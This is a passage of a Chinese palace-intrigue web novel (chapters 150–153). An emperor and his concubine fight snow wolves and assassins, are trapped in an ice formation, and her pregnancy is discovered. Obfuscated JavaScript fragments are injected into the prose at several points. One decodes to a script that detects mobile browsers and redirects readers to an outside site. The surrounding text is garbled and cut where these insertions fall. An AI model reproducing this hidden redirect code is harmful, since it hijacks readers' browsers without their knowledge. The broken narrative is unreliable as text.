北宫喆牵着她的手径直从一旁下山,安文夕犹豫了一瞬对他道:“若是找不到……” “在朕这里,没有找不到。” 这样霸道的口吻令安文夕心中一震,他们都找了整整一下午,半座山峰都没有半点收获,他哪来的信心? “啊!”他们刚迈出了脚步,身后就传出了月清绝惊悚的惨叫。 北宫喆和安文夕齐齐回头,在月清绝身后不远处,一只只通体雪白的雪狼正虎视眈眈的盯着他们,眼底尽是凶光。 雪狼,常年生活在雪原之上,比平常的狼更加凶残、强壮,它们喜欢悄无声音的逼近猎物,然后直接咬断猎物的脖子,凶猛至极。 月清绝双腿发颤,好端端的怎么会出来这怪物,这个头比他还大好不好,今天这是要死在这里的节奏啊! 只是一眨眼的功夫,北宫喆和安文夕身后的路也被雪狼劫堵,这些雪狼渐渐朝他们逼近,在微暗的光线中,它们的眼睛发出幽绿色令人心颤的光芒,嘴里皆涎着口水,俨然一副饿了几天的样子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗷呜——”一声声悲切的嘶鸣传遍了整个峰顶,不过片刻,四周再次涌出了一批雪狼,一步步朝他们逼近。 他们一步步后退,看来有人是想想用这雪狼将他们逼死在这里! 和雪狼群对视了片刻,狼群似乎已经等不及了,雪狼王嘶吼一声,雪狼群齐齐扑了上来。 北宫喆黑瞳蓦地骤缩,赫然出掌,掀起一阵阵气浪,将他面前的狼群全部击飞,一层巨大的气浪顿时将他们笼罩起来,雪狼群根本无法靠近。 安文夕心中大骇,北宫喆的内功竟然已经达到如此强悍的地步了么? 北宫喆额头上渐渐沁出一层细汗,沉声道:“青玄,待朕手掌之际,务必斩杀狼王!” “属下明白。” “慢着,我来!”安文夕从地上捡起北宫喆的长剑。 “夕儿……” “青玄斩杀狼王,我来除掉狼王身后的母狼!”安文夕厉声道,她可看得清楚,这攻击的命令可是由那母狼出发来的! 第150章 血债血偿 第一百五十章血债血偿 就在北宫喆收掌之际,一支狠戾的羽箭带着煞人的寒气逼向北宫喆的心口,速度快如一道闪电。 长剑破空,眼看手中的剑已经送到了那只母狼的脑袋上,安文夕飞快的收回,一剑斩断即将射丨入北宫喆胸口的羽箭。 “砰——”气浪破开,一股强烈的冲击波猛烈袭来,直接将狼群掀翻。 青玄手起刀落,雪狼王的脑袋顺着下坡咕噜噜滚了下去,狼身赫然倒地。 “潇洒!”月清绝在巨大的冲击中稳住身形,称赞道。 狼王一死,那只母狼不甘心的吼叫着,眼底的幽光骇人,直冲青玄而来,北宫喆夺过安文夕手中的长剑直插在那只母狼腹上,它还未来得及抽搐,就已经倒地不起。 剩下的狼群虽然比以前更加暴躁凶狠,但是没有了雪狼王的领导,俨然成了一盘散沙。 “嗖——” 这时,一支羽箭再次刺破干冷的空气直袭北宫喆,气势比刚才那支更显凌厉。 北宫喆双眸一眯,眸光敛尽,眼底闪过一抹不屑来,伸手抓过那支羽箭,顺着来的方向掷了出去,力道惊人。 “噗呲——” 下一瞬,不远处传来一阵箭头入体的声音,北宫喆利眸紧紧锁住了前方的雪峰。 “怎么,有胆子放暗箭,没胆子出来么?”北宫喆手中的长剑一扫,迅速解决了剩下的雪狼。 雪狼,是群居动物,血性极强,它们宁愿死,也不会做逃兵。 一时间血流成河,整个顶峰殷红一片,浓郁的血腥久久挥之不散。 突然,一道黑色的身影从雪峰后面一跃而来,立在雪峰之上,俯视着众人,一身黑衣冷**人。 “北宫喆,安文夕,今日就是你们的死期,哈哈哈……”慕容清狂笑着,面目有些狰狞。北宫喆废了他的右手,从此再也不能用剑,那今天就要他血债血偿! 北宫喆嘴角微扬,勾起一抹极淡的笑,那笑三分讥讽,七分不屑。 安文夕握着七节鞭,一步步走到北宫喆身边,眯着双眸打量着慕容清,今天这一切早就是慕容清设计好的,北宫喆明明知道却依然来此,他压根就没有把慕容清放在心上! 看着北宫喆和安文夕眸子里的不屑,慕容清不禁怒从心生,这两个人如此狂妄,真是不见棺材不落泪,一会就有他们求饶的时候。 “来人,将他们拿下,杀无赦!” “是。”随着慕容清一声令下,突然从四周涌出来一群黑衣暗卫来。 黑衣暗卫从四面八方席卷而来,速度极快,脚步未动,他们的身形已经到了面前。 北宫喆一把将安文夕拉到身后,长剑直逼那人面门而去,出手极快,来人根本无法躲避。 慕容清看着倒下的暗卫,眸光微敛,没想到这北宫喆的功力已经到了登峰造极的程度,他一共带了五十暗卫来此,在路上已经**二十人,如今这三十人皆是精英中的精英,没想到却被北宫喆轻而易举的解决了! 他扭头对身边的秋月道:“都准备好了么?” “皇上放心,属下已经做了万全准备,定叫他们有来无回。” 慕容清看着底下的一场杀戮,嘴角噙起一丝阴狠的笑意。 安文夕扬起七节鞭,她很清楚,她根本就不是来人的对手,而这些暗卫很聪明,知道她是北宫喆的软肋,皆对她动手,北宫喆为了救她,几处负伤。 安文夕右手微翻,手中的银针直袭来人周身要穴,中了银针的人,不消片刻,便直直往后倒去,痛苦的在地上打滚,下一刻,那人竟然直接拿刀抹了脖子。 这毒,果然令人痛不欲生! 他的同伴见此,直接一掌拍向安文夕,安文夕忙侧身躲避,掌风太急,她终究还是晚了一步。 那一掌直接擦过她的左臂,将她甩开。 “夕儿……”北宫喆蓦地伸手,而他的指尖却只擦过了安文夕的衣角。 “砰——”安文夕重重落地,蓦地涌出一口鲜血来,左臂已经痛的失去了视觉。 趁着北宫喆分神之际,来人的剑锋飞快地划过他的胳膊,殷红的鲜血染红了他的月白长袍,如一朵盛开的曼珠沙华,夺目妖艳。 北宫喆直接一掌将那人拍飞,然后闪身到安文夕面前,挑开刺来的长剑。 “夕儿。” “我没事。”安文夕挣扎着从地上坐起,眸光扫过身前,她的动作蓦地一滞。 前方不远处的血泊里,一朵晶莹剔透的小花半点血色不染,像是刚刚破雪而出一般,在寒风中微微摇动。 难道这就是七味草? 若不是这片血色,只怕他们永远也发现不了,那朵小花只有指甲盖大小,花瓣几近透明,在这漫天的冰雪中,根本就看不见。 安文夕嘴角洋溢起一抹喜色,不顾胳膊上的疼痛,直接在雪地上爬了过去。 “别动,我来。”北宫喆剑锋一扫,逼退了身前的暗卫,身形飞掠而去,青玄立即将安文夕护在了身后。 雪峰上的慕容清看见这一幕,嘴角微勾,直接跃身而下,左手持剑,直逼北宫喆而来。 “小心——”安文夕看着慕容清的剑锋擦过北宫喆的脖颈,不禁惊呼道。 而北宫喆仿佛丝毫没有看到危险一般,小心翼翼的将七味草从雪地里连根拔起。 他这是疯了么! 安文夕咬牙,握紧了七节鞭,踉跄着奔上前去,飞快的射出几枚银针,直袭慕容清持剑的左手。 慕容清手腕一偏,避去了银针,同时卸去了几分剑锋的力道。 就在剑锋离北宫喆的脖子处的大动脉一寸之际,一道黑影飞快的掠过,毫不费力的挑开慕容清的长剑,手里的**朝他射去,然后身形一闪,再次消失不见。这一切发生的太快,众人根本来不及看清。 这道黑色的身影好熟悉,安文夕蓦地想起,这分明是昨晚的那个女子! “啊,皇上——”秋月立即跃到了慕容清身前,击落掷来的**。可惜,她手中的剑还是慢了一步,一枚**直冲慕容清面门。 秋月想也未想,直接扑到了慕容清身上,以身为盾,挡住了**。 “秋月——” 秋月的身子如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不出片刻,冰雪之中已经没有了北宫喆和安文夕的影子。 黑衣女子脸上眼中划过一阵巨大的恐惧,拼命的冲向那处漩涡,可是却被阵阵雪浪掀翻。 “哈哈哈哈……”慕容清因为疼痛眉头狠狠地拧着,脸上带着畅快的笑意使得整张脸十分狰狞。 “皇上,您没事吧?” 慕容清喷涌出大口的鲜血,收住了阴森的笑意,毒辣的目光一一掠过青玄等人,最后将视线落到了秋月的尸身上,厉声道:“带上秋月,撤!” 北宫喆刚才那一掌伤及他的心肺,几乎要了他的命,他得赶紧找个地方疗伤! 青玄和月清绝急忙赶来,这里已经变为平地,丝毫寻不见痕迹,他们不甘心的在地上摩挲着,可是依旧没有发现任何破绽。 北宫喆和安文夕就像是平地消失了一般。 黑衣女子颓唐的得坐在地上,“别费力气了,这是冰雪奇阵,他们根本无法出来!” 第151章 她不相信 第一百五十一章她不相信 青玄和月清绝闻言,脸色皆是一沉,难道说他们再也无法出来了么? 黑衣女子无力地闭上了眼睛,缓缓撤下了脸色的黑纱布,那块黑纱立即随风飘远。 “是你。”月清绝狐疑的看了眼女子,这不是安文夕身边的那个奇怪的陌姑姑么,她怎么会在这里? “是我。” “陌姑姑,你既然说这是冰雪奇阵,那有破解之法么?”青玄无暇顾及陌姑姑怎么会出现在这里的原因,当务之急,是救出皇上和瑾淑妃。 “自然有。”陌姑姑一脸凝色,“可是,这阵眼在外面,他们在里面根本无法破阵。” “既然阵眼在外面,我们将这阵法破了不就行了?”月清绝略略有些兴奋。 陌姑姑摇了摇头,“要找阵眼谈何容易,这冰雪奇阵和八卦阵一样必须有帝王血引路才行。” 青玄和月清绝同时沉默了,帝王血,北宫喆有,可是他现在下面呢。 慕容清果然是好算计,怪不得他如此狂妄,竟敢只身前来幽冥山截杀北宫喆!只怕,原本那条进山的山道也是他毁掉的! “这可怎么办,皇上不能有事啊!”青玄蹙着眉,一拳砸在了雪地上,恨不得代替北宫喆被困冰雪奇阵之中。 “如今,只有一个办法了。” “什么办法?”陌姑姑和青玄同时看向月清绝。 “找楚君昱。” 是了,楚君昱如今刚刚登基为皇,他不仅拥有帝王血,而且内功强劲,百里鬼林和幽冥山根本困不住他,更关键的是,他喜欢安文夕,在这件事上,绝不会袖手旁观! “啊!”急剧的降落,强大的失重感令安文夕蓦地惊呼出声。 “别怕。”北宫喆揽住她纤腰的手紧了几分,霸道的将她带进他的怀里。 四周一片漆黑,皆是冰凉透骨的冰雪,朝他们铺天盖地灌来,安文夕不知道此时他们身在何处,也不知道何时会落地,但是靠在北宫喆怀中,嗅着他身上凉淡的梨花清香,她的心中莫名的涌出一股安心。 不知又下落了多久,突然,安文夕只觉得腰间的力道一紧,身子倏然一顷,她被北宫喆整个儿抱紧。 不好,要落地了! “砰——” 只听这响声,安文夕也知道北宫喆受到了极重的撞击。而她,却紧紧的被北宫喆抱在了怀中,整个压在了他的身上,丝毫没有感觉到任何冲撞,她的心蓦地一颤。 “唔~”北宫喆发出了一声细微的哼声,接着便再没了声响。 “北宫喆……” 安文夕顿时慌乱起来,她小心翼翼的掰开北宫喆紧扣着她的双手。 这里像是一个封闭的空间,又好像和幽冥山顶无异,此时月华如银,倾泻在他惨白的脸上,安文夕指尖轻颤着划过北宫喆的面庞,停驻在他的薄唇之上,轻轻拭去他嘴角带着冰渣的血迹。 此处没有寒风凛冽,但是温度却极低,安文夕在雪地上坐了一会,便已经冻得浑身麻木。 慕容清将他们困在这个阵法里面,就是要将他们活活的冻死,让他们一点点感受死亡的到来! “北宫喆……”安文夕握紧了他的双手,伸手探上了他的脉搏,她虽然不懂医,但是习武之人对脉象极为熟悉。 安文夕的指尖顿时颤了起来,心肺受掌,身体遭到重创,此时北宫喆的脉象乱作一团且十分微弱,她的心陡然一沉。 感觉自己握着的手轻轻地动了一下,安文夕心中大喜,“北宫喆,你醒了?” “夕儿……”北宫喆睫毛轻颤,借着安文夕的力量,勉强坐起身子,好像是牵动了身上的伤,眉头微皱。 “你先别动,伤哪了?” 北宫喆双眸扫了眼四周,然后将视线放在安文夕身上,眸光一凛,“困在这冰雪奇阵,只有死路一条。” 安文夕看着北宫喆惨白的脸色,立即盘腿而坐,“我为你疗伤。”她可没有忘记他受了秋月那倾尽内力的一掌。 北宫喆无力地勾唇,“朕的身体朕了解,别耽误工夫了。” 安文夕闻言蓦地一滞,立即拉着他的手,缓缓输入内力,北宫喆却攥住了她的手道:“夕儿,朕累了,想睡一会。” “没有骗我?” 北宫喆微微点点头。 “那好,我一会叫你。”安文夕鼻头一酸,从身上解下她的他的披风将他裹紧,虽然她知道这件披风在这极寒之地并不能遮挡严寒。 过了许久,安文夕已经冻得失去了知觉,北宫喆的嘴唇干裂的可怕,并微微泛着黑色,安文夕轻挽黛眉,难道是他在密林中中的瘴气? “冷……”北宫喆微弱的发出一个音节。 冷?安文夕抬手摸了下北宫喆的额头,烫的可怕! 他在发烧! “冷……” 安文夕立即将她的狐皮披风也脱了下来,盖在了北宫喆身上,双手覆在他的额头上,试图为他降温。 “北宫喆,赶紧醒醒。”安文夕轻轻摇晃着他的身子,握紧了他的手,她好怕他就这样一睡不醒。 须臾,北宫喆微微睁开了眼睛,声音嘶哑,“夕儿……” “不许再睡了,我自己在这里害怕,你陪我说说话。”她拼命的咬住下唇,尽量使自己的声音没有颤音。 “好……”北宫喆说着将自己身上的披风递给安文夕。 “别动,我不冷。” 北宫喆心中一涩,半晌缓缓道:“夕儿,朕有件事……一直瞒着你,既然今日我们要死在这里……朕……朕不妨告诉你……” “其实,你的父皇没死……你母后也能复活……他们就在……青末山庄的竹林北院!” 什么?安文夕不可置信的睁大了眼睛,过去的一幕幕飞快的掠过她的脑海,难道这一切都是他在骗她? 怪不得当时他在竹林中布下了阵法,原来如此,那阵法是他用来提防她呢! “北宫喆,你卑鄙!”安文夕咬牙。 明明知道她一直在为父皇报仇,竟然还骗了她这么久! 北宫喆无力地勾了勾唇,谁都知道曹太后将安莫霖夫妇恨入骨髓,他还没有足够的实力与曹太后抗衡,怎么敢将他们暴露?更何况,他不卑鄙,就留不住她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“夕儿,朕死之前……再叫一声九哥哥好吗?” “九哥哥,九哥哥……你永远是夕儿的九哥哥。” 北宫喆慢慢闭上了眼睛,手掌从安文夕脸颊滑落。 “不要,九哥哥不要!”安文夕立即握住了北宫喆垂下的手,抱紧了怀中的人,声音中是化不开的悲怆,凄厉无比。 她颤着手放在北宫喆的鼻息之下,顿时跌坐在地上,一颗心沉到了谷底。 安文夕缓缓收紧了北宫喆的手,这双一向带着暖意来温暖着她的大手此时冰凉刺骨。她不断地搓着着北宫喆的双手,可是一切皆是徒劳,她再也捂不热他的手了。 若是说济州城外他舍身为她挡箭生死未卜,她害怕了。 那么,此时她已经绝望,北宫喆已经没有了气息。 可是她不相信他就这么**,她不相信那个杀兄弑父、踩着累累白骨登基,尊贵宛如神祗一般的男人怎么会就这样**,她不相信! 第152章 这是喜脉 第一百五十二章这是喜脉 安文夕一口咬破了自己的手指,然后递到北宫喆唇边,不是说她的血脉中融进了千年龙魄,可以救人么,那她今天就要试一试! 可惜,安文夕还没有来得及将手指递到北宫喆唇边,指尖上沁出的血液就已经被冻成了冰渣。 安文夕微微垂眸,缓缓贴上北宫喆的唇瓣,生硬的敲开了他冰冷的唇舌,咬破自己的舌尖,往北宫喆唇中慢慢渡着鲜血。 温热的血液萦绕着二人的口腔之中,被冻僵的舌尖稍稍恢复了一点触感。 不知喂了多久,北宫喆依旧没有鼻息,安文夕只觉得浑身每一个毛孔都渗着寒意,她的意识逐渐模糊起来。 她用最后的力气拥紧了北宫喆,嘴角渐渐攒出一丝无力的笑意,能和他一起死在这里,也未必不好,至少他们可以抛开一起,永远的在一起了。 —— 当楚君昱打开冰雪奇阵,看到安文夕和北宫喆相依偎着的身体时,他的心微微一涩。 他疾步上前,待看到狐皮披风里,安文夕仅着肚兜贴着北宫喆赤裸的胸膛相互取暖时,他的脚步一滞,心中泛起阵阵苦涩。 毕竟他是君,她是妃,这并没什么。 “胭脂,胭脂……” 楚君昱立即用狐皮披风将安文夕裹好,触手的彻骨冰凉令他的指尖一颤,安文夕的长长的睫毛上面结出了一层白霜,嘴唇冻得发紫,即使他将她抱起,她依然还是保持那个冻僵的姿势,楚君昱的心顿时沉到了谷底。 自从北宫喆他们踏入西楚的境内,他们的行径他皆了如指掌,密探刚刚回禀北宫喆和安文夕二人困在了冰雪奇阵,他就立即马不停蹄的赶来了幽冥山。 难道他还是来晚了么? 楚君昱心里顿时有些怕了,二十多年来他第一次害怕了,他终于还是颤着手放到了安文夕冻得通红的鼻子下面。 探到她微弱的呼吸,楚君昱嘴角蓦地攒出了一抹惊喜的笑容,她还有救! 楚君昱立即将内力缓缓渡入安文夕体内,保住她的心脉。 青玄和月清绝等人随后赶来,看到僵坐在雪地上的北宫喆,立即惊慌着将他从地上搀起,“皇上……” 月清绝抓住北宫喆冰凉的手,顿时心凉了半截,他微微闭上了眼睛,在心里默念道:北宫喆你这个臭小子不许吓我,你以前比这还凶险的情况都挺过来了,这次一定也不会有事! 月清绝探向北宫喆的脉搏,不可置信的睁开了眼睛,死死抓住他的手腕,再三探脉,可是依旧探不到他的脉搏,而且他的体内还有两种毒素肆意蔓延。 月清绝探了探北宫喆的鼻息,整个人顿时跌坐在地上,脸上一片死灰。 这怎么可能?他不相信! 陌姑姑一下子冲了过来,再次探过北宫喆的脉搏,眸光敛尽,最后一把抓住北宫喆的双手,将自己所有的内力全部输入到北宫喆体内,一头青丝一瞬之间悉数全白,她蓦地喷涌出大口鲜血,然后身子直直坠地。 这一幕发生的太快,几乎让众人措手不及! “陌姑姑……”青玄立即将她接住,眼底一片震惊,这个陌姑姑竟然将自己一身的内力修为全部渡给了皇上! 再联想到她曾经在夏宫三番五次为了皇上而顶撞瑾淑妃,他的心底掀起巨大的惊骇,难道真的是她? 陌姑姑颤着手从脖子里取下一块古老而普通的玉石,将它打开,取出一粒红色的药丸递给月清绝道:“给他服下。” 这粒药是先帝给她的,当年即便是如此艰难她也没有用,如今希望能够保他一命! 陌姑姑交代完,慢慢闭上了眼睛。 “陌姑姑,陌姑姑……” 月清绝给陌姑姑把了把脉,然后给她喂了粒药。 楚君昱抱着安文夕,对众人道:“事不宜迟,立即回宫!” 郦城别宫,这里是当年西楚文帝为楚君昱母妃所建造的别宫,多年荒废,如今已经不复当年奢华场面。 楚君昱将北宫喆和安文夕二人带到这里之后,月清绝立即为二人准备了药浴温泉。 泡完药浴之后,安文夕依旧没有醒来,而北宫喆也依旧没有半点生命迹象,月清绝蹙着的眉头一直没有消下去。 江向晚坐在榻前,紧握着北宫喆依旧冰凉的手,看着他惨白的脸色,眼眶微红。 他怎么可以抛下她呢,他难道不知道他若是有什么意外,她活着也没什么意思么? 更何况,没有了他,大夏的江山就要全部落入曹太后之手了!他这些年步步为营,为的就是登基为皇、君临天下,可是他怎么能为了安文夕拿自己的生命去冒险呢! 这时,江向晚恨极了安文夕! “江小姐,还请你回避一下,我现在要为皇上施针。”月清绝对江向晚道。 江向晚起身一把攥住了月清绝的手腕,仿佛抓住了一根救命稻草一般,“月公子,请你一定要救活皇上!” 月清绝一怔,江向晚此时身体虚弱不堪,哪来的这么大的手劲,他不动声色的抽出手腕,对她道:“我自当竭尽全力。” 江向晚回头看了眼北宫喆,然后面含担忧的出了寝殿。 她刚走了两步,脚步一顿,目光瞥了眼安文夕所在的宫殿,眸光飞快的划过一抹黯光,缓步回了她的房间。 “雪嫣,安文夕那里的情况如何了?” “回小姐,还没有醒,楚皇一直守在那里,奴婢靠近不了。” 江向晚闻言嘴角勾起一抹讥笑,这安文夕勾引男人的本事倒不少,就连楚君昱也被她迷得团团转。 雪嫣仔细打量着江向晚的脸色,小心翼翼道:“小姐,奴婢觉得这一次皇上肯定会恼了那瑾淑妃,毕竟这半夜三更的,楚皇和瑾淑妃……若是传出去的话,谁也说不清……” 江向晚脸上蓦地一冷,对雪嫣道:“你先下去为皇上煎药。” “是。”雪嫣立即垂头退下。 雪嫣走后不多一会,一条黑色的身影悄无声息的从屋顶掠过。 月清绝先为北宫喆施针,用金针探穴强行打通他的任督二脉,让陌姑姑输入他体内的内力能够游走在他的血脉之中。同时,他也很清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492550|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚,此行只会加剧他体内那两种剧毒的蔓延。 目前他体内的两种毒,一种是中了密林中的瘴气,而另一种,他现在也不敢确定。 半个时辰后,月清绝将北宫喆身上的金针一一拔去,但愿明天能够探到他的脉象,否则他也无能为力了。 月清绝擦了擦额头上的细汗,还没有来得及喝上一口水,月无双就急匆匆的赶来,“喆哥哥怎么样了?” “接下来得看他的造化了。” “那你先跟我来。”月无双不由分说将月清绝拉到了安文夕那里。 此时,安文夕静静地躺在床上,脸色惨白,虽然泡了药浴温泉,仍然气若游丝,楚君昱一直守在她的榻前。 “哥,你快看看夕姐姐。” “你没有为她把脉?”月清绝狐疑的看了眼月无双。 “把了,可是……”可是,她实在是不敢确定。 “月公子,刚才无双姑娘已经为胭脂把过脉了,可是朕问无双姑娘,她却什么也不肯说,月公子看看胭脂现在的情况到底如何?” 月清绝拉过安文夕的手,待探过脉之后,指尖蓦地一颤。 月无双观察着月清绝的脸色变化,抿了抿唇道:“哥,到底是不是,无双不敢确定……” “是,只是脉象太弱了。”月清绝蓦地笑了。 一旁的楚君昱瞬间明白了几分,心中一滞,半晌道:“难道是……” “没错!”月清绝肯定道,“是喜脉,只不过她现在的脉象太弱,而且月份又小,无双把不出来也正常。” “哥,我把出来了,只是不敢确定罢了。”月无双眉眼之间带了喜色。 喜脉?怎么可能!房顶上的江向晚有些不相信的透过瓦片看向内殿,他记得每次喆从未央宫出来都会送去一碗息子汤,而且安文夕身中息子魂殇,根本不能有孕,喆怎么会让她怀上孩子? 难道是……江向晚蓦地想起在济州之时,安文夕曾单枪匹马去了沐阳,她眸光一凛,眼底闪过一抹笑意,一定是这样,安文夕肚子里的孩子一定是那慕容清的! 既然安文夕怀了慕容清的孩子,她倒要看看这一次喆还会不会容得下她! 江向晚将瓦片重新放回,身形一闪,再次沿着屋顶返回了她的房间。 楚君昱听到屋顶上细微的声响,嘴角苦涩的笑意还没有来得及收去,眸光变得凌冽起来,若有所思的打量了眼屋顶,然后缓缓收回视线。 众人皆沉浸在这个突如其来的喜悦中,对屋顶上的情况丝毫没有察觉。 “这个孩子倒也命大,在冰雪奇阵里困了这么久,大人都冻僵了,他却安然。”月清绝赞道。 “欢凉,夕姐姐有小娃娃了!”月无双激动地拉着一旁的欢凉。 欢凉神色之间带着忧色,全然没有月无双那么兴奋,她还不清楚公主现在对北宫喆是个什么态度,如今怀了他的孩子,也许,公主并没有打算将这个孩子生下来。更何况,现在公主一直昏迷不醒,也不知道公主身体状况如何。 “月公子,公主什么时候能够醒来?” 第153章 还爱着他 第一百五十三章还爱着他 “她不过是在冰雪奇阵待得时间太久,寒气入体,如今已经泡过了药浴温泉,倒也没什么大碍了,我先为她开几副药,顺便再开几副安胎药,虽然这孩子保住了,但是胎位不稳,还是要好好调养调养。”月清绝摇摇头,北宫喆这小子倒真是个痴情种子,自己多处重伤,而却将安文夕护得周全。 “臭丫头,你就放心吧,小师妹吉人自有天相,一定会没事的,我要做小舅舅了!”袭匀难以抑制自己的兴奋,他才不管孩子他爹是谁,只要孩子是小师妹的,那就是他外甥! “月公子,那公主中的息子魂殇……” “已经拿到七味草了,小丫头,你就放心吧,你身上的蛇毒虽然清了,但是药还是得继续吃。” “欢凉知道了。” “好了,让她多多休息吧,无双,你跟我去瞧瞧陌姑姑。”那可是一个不能大意的人物,月清绝说着背起了药箱。 “玉……皇上,你先去休息吧,公主这里有我呢。” “无碍,朕想守着胭脂,你们先去歇着吧。” 欢凉抿了抿唇,“那好,我和袭匀就在隔壁,皇上若是有什么吩咐,直接叫我便可。” 袭匀本想告诉楚君昱让他避嫌,毕竟小师妹都已经怀了北宫喆的孩子了,这孤男寡女共处一室难免惹人闲话,可是想到楚君昱将安文夕从那冰雪奇阵里救了出来,最终还是作罢,任由欢凉将他拉了出去。 此时,偌大的宫殿内只剩下了楚君昱和安文夕二人,红烛摇曳,一室寂静。 楚君昱坐在安文夕榻前,看着她苍白的脸色,楚君昱眼底浮现一抹怜惜,看着她放在小腹之上的双手,终究没有勇气握上去。 楚君昱自嘲一笑,如今她都有北宫喆的孩子了,他也已经立了皇后,他们之间再无可能了。 烛光一闪,一抹黑影闪进了宫殿内,楚君昱眸光一敛,对身后道:“刚才屋顶之人是谁?” “回皇上,是江向晚。” 楚君昱抬眸,“她在上面待了多久了。” “月公子还未来的时候,她就在上面了,直到皇上发觉。” “行踪如此悄无声音,可不像是将死之人。”楚君昱眸光幽深。 半晌,他又道:“朝堂之上如何了?” “回皇上,对外暂称皇上染了风寒,这几日罢朝。”夜影恭敬道,皇上一听到安文夕被困在冰雪奇阵的消息,立即抛下了宫中的一切,甚至都没有任何交代就直接赶赴了幽冥山。 “朕知道了,你先下去吧。” “是。”夜影犹豫了一瞬缓步退下。 “慢着,朕出宫的事情务必瞒着众人。” “属下明白,可是皇上出宫这件事必瞒不久,皇后娘娘已经三次熬了药送到了您的寝殿。” “能瞒多久是多久!”楚君昱眉宇之间隐隐有些不耐,“皇后若是太闲了,就给她找些事做!” “是,属下明白,瑾淑妃如今身怀大夏龙嗣,还望皇上断了心思。” “放肆!”楚君昱蓦然起身,极力压抑着怒气,邪魅的凤眸泛出丝丝恼怒。 “夜影这就去自领十军棍,属下告退。” “滚下去!”楚君昱怒不可遏道,这个夜影简直太狂妄,若不是看在他从小跟在他身边,他这就废了他! 楚君昱握了握拳,又重新坐在了安文夕榻前。 “九哥哥,九哥哥不要!”安文夕仿佛陷入了梦魇一般,不安的挥动着双手,突然她一把抓住了楚君昱的大手,死死地握着。 楚君昱的心顿时一颤,“胭脂,胭脂……” 安文夕依旧拧着黛眉,额头上沁出了一层细汗,紧紧攥着楚君昱的大手。 楚君昱以及从怀中取出手帕为她擦了擦汗,安文夕的情绪慢慢平复下来,渐渐睡得安稳。 夜色渐深,整个行宫也安静了下来。 梦里,安文夕被北宫喆紧紧握着手,而身后是面目狰狞的慕容清紧追不舍。四周冷的可怕,汹涌着的冰冷将她肆意吞噬。 突然,她脚下的土石一松,眼前的景色一转,她竟然被逼到了悬崖边上。 “啊!”她的身子一颤,看着深不见底的悬崖,眉头紧锁,而她身侧的北宫喆此时浑身是血。 身后的慕容清笑得越发的狂妄起来,“这次朕倒要看看,你们还往哪里逃,放箭!” 一边是万丈悬崖,一边是漫天的羽箭,在她还没有反应之际,北宫喆已经将她拦腰抱起,直接跳下了悬崖。 耳边是呼啸的寒风和横生的枝杈,北宫喆紧紧将她护在了怀中。 落地之时的一声重击,令她心底一颤,大惊道:“九哥哥!” 楚君昱感觉双手倏地被紧握,睁眼对上双瞳蓦地睁开的安文夕,惊喜道:“胭脂,你醒了?” 安文夕此时后背被汗水湿透,整个人犹如从水中捞出来一般,大大的杏眸怔怔的睁着,刚才梦里的一切,真实的可怕! 她微微偏过头来,待看到略带疲倦的楚君昱时,眼底飞快的划过一抹惊色,立即收了握着他的手,“玉公子,我怎么会在这里?九哥……北宫喆呢?” 楚君昱瞥了眼自己的猛然空下来的双手,眸光掠过一抹黯色,“这里是骊山行宫,北宫喆……他在旁边的寝殿里。” 安文夕挣扎着起身起身,楚君昱立即阻止她道:“你别乱动,好好躺着。” “多谢玉……皇上相救。”安文夕还是半坐起身子,对楚君昱微微福身,既然他们现在身处骊山行宫,不用猜也知道是楚君昱救了她和北宫喆。 “胭脂,你太客气了,还是唤我玉公子吧。”她举止得体中带着拒人千里之外的疏离令他心中微涩。 安文夕咬了咬唇,开口道:“北宫喆他……” “生死未卜。” 安文夕心中咯噔一下,犹豫半晌一把掀开身上的锦被,楚君昱眉头微皱,“胭脂这是要要做什么?” “我想去看看他。” 她脸上的焦虑楚君昱尽收眼底,垂眸劝道:“月公子说你的身子比较虚弱,还是……” 安文夕打断他道:“不然我不会安心的。”他拼尽全力护了她周全,他现在生死未卜,她怎么能坐得住? 她不由分说的径自下床,随手拿过床前的披风往自己身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“什么?”安文夕顿时整个人如坠冰窖。 “欢凉,你带我去,现在也许只有我还能试一试。”安文夕眼中带着决绝。 “公主……”欢凉担忧的看了眼安文夕的小腹。 安文夕顺着她的视线看去,顿了一瞬道:“没事的。” “公主,你真的决定了么,你要放弃报仇了么?”看公主的样子不仅要将孩子生下来,还要一并接受了那北宫喆。 